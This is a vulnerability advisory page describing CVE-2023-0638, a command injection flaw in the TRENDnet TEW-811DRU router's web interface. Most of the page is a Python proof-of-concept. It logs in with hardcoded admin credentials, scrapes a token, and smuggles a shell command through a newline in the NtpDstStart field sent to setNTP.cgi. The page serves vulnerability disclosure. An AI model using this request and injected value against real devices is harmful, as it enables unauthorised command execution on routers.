TRENDnet TEW-811DRU 1.0.10.0 Web Interface command injection

Summaryinfo

A vulnerability categorized as critical has been discovered in TRENDnet TEW-811DRU 1.0.10.0. The impacted element is an unknown function of the component Web Interface. Executing a manipulation can lead to command injection. This vulnerability appears as CVE-2023-0638. The attack may be performed from remote. In addition, an exploit is available.

Detailsinfo

A vulnerability has been found in TRENDnet TEW-811DRU 1.0.10.0 and classified as critical. This vulnerability affects an unknown functionality of the component Web Interface. The manipulation with an unknown input leads to a command injection vulnerability. The CWE definition for the vulnerability is CWE-77. The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. As an impact it is known to affect confidentiality, integrity, and availability.

The weakness was presented 02/02/2023. This vulnerability was named CVE-2023-0638. Technical details are unknown but a public exploit is available. This vulnerability is assigned to T1202 by the MITRE ATT&CK project.

A public exploit has been developed in Python. It is possible to download the exploit at vuldb.com. It is declared as proof-of-concept. The code used by the exploit is:

import requests,socket
import re
import time
from urllib.parse import urlencode

username = 'admin'
password = 'ZYWN7T47'
device_web_ip = '192.168.10.1'
ping_target_ip = '192.168.10.102'

request = {'HEAD': 
{'Host': '{}'.format(device_web_ip), 
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0', 
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 
'Accept-Language': 'en-US,en;q=0.5', 
'Accept-Encoding': 'gzip, deflate', 
'Content-Type': 'application/x-www-form-urlencoded', 
'Content-Length': '555', 
'Origin': 'http://0.0.0.0:8081', 
#'Authorization': 'Basic YWRtaW46WllXTjdUNDc=', 
'Connection': 'keep-alive', 
'Referer': 'http://0.0.0.0:8081/adm/time.asp', 
'Cookie': 'expandable=5c', 
'Upgrade-Insecure-Requests': '1'}, 
'PARAM': {'token': 'fW092VEZZPulJJfC1WkY', 
'DSTenable': 'on',
'NtpDstEnable': 1, 
'NtpDstOffset': -7200, 
'NtpDstStart': 'abcd\nping -c 1 {}\n'.format(ping_target_ip), 
'tz_daylight_start_day_select': 1, 
'tz_daylight_start_time_select': 2, 
'NtpDstEnd': 100102, 
'tz_daylight_end_month_select': 384968387, 
'tz_daylight_end_day_select': 1, 
'tz_daylight_end_time_select': 2, 
'enableNTP': 1, 
'ntp_server': 1, 
'NTPServerIP': 'pool.ntp.org',
'time_zone': 'UCT_-11', 
'timer_interval': 16776915, 
'manual_year_select': 2012, 
'manual_month_select': 'abcd', 
'manual_day_select': 'abcd', 
'manual_min_select': -38, 
'manual_sec_select': "abcd", 
'timeTag': 'dummy',
'range.func': '/.../.../.../.../.../.../.../.../.../.../', 
'DNSServerGuest': ''}, 
'ATTR': 
{'URL': 'http://{}/setNTP.cgi'.format(device_web_ip), 
'METHOD': 'POST', 
'VERSION': 'HTTP/1.1'}
}

headers = request['HEAD']
params = request['PARAM']
method = request['ATTR']['METHOD']
url = request['ATTR']['URL']

login_header = {'Host': '0.0.0.0:8081', 
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0', 
'Accept': '*/*', 
'Accept-Language': 'en-US,en;q=0.5', 
'Accept-Encoding': 'gzip, deflate', 
'Connection': 'keep-alive', 
'Referer': 'http://0.0.0.0:8081/login.asp', 
'Cookie': 'expandable=4c'}
login = 'http://{}/login.cgi?langSelection=EN'.format(device_web_ip)
probe = 'http://{}/wizard/wizard.asp'.format(device_web_ip)
loop = 3
r = None
while loop>0:
  try:
    loop -= 1
    r = requests.get(url=login,headers=login_header,auth=(username,password),timeout=5)
    if r.status_code != 200:
      continue
    r = requests.get(url=probe,headers=headers,auth=(username,password),timeout=5)
    pat = r'name="token" value="(.*?)"'
    token_value = re.findall(pat,r.text)
    if len(token_value)>0:
      params['token'] = token_value[0]
      print('new_token:{}'.format(token_value[0]))
      break
  except Exception as e:
    time.sleep((3-loop)*3)
    print('error:{}'.format(e))


try:
  r = requests.request(method=method,url=url,headers=headers,auth=(username,password),data=urlencode(params),verify=False,timeout=5)
except:
  pass

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

If you want to get best quality of vulnerability data, you may have to visit VulDB.

Productinfo

Vendor

• TRENDnet

Name

• TEW-811DRU

Version

• 1.0.10.0

License

• commercial

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Submitinfo

Accepted

• Submit #76135: Command injection vulnerability in TRENDnet router TEW-811DRU (by leetsun)

If you want to get best quality of vulnerability data, you may have to visit VulDB.

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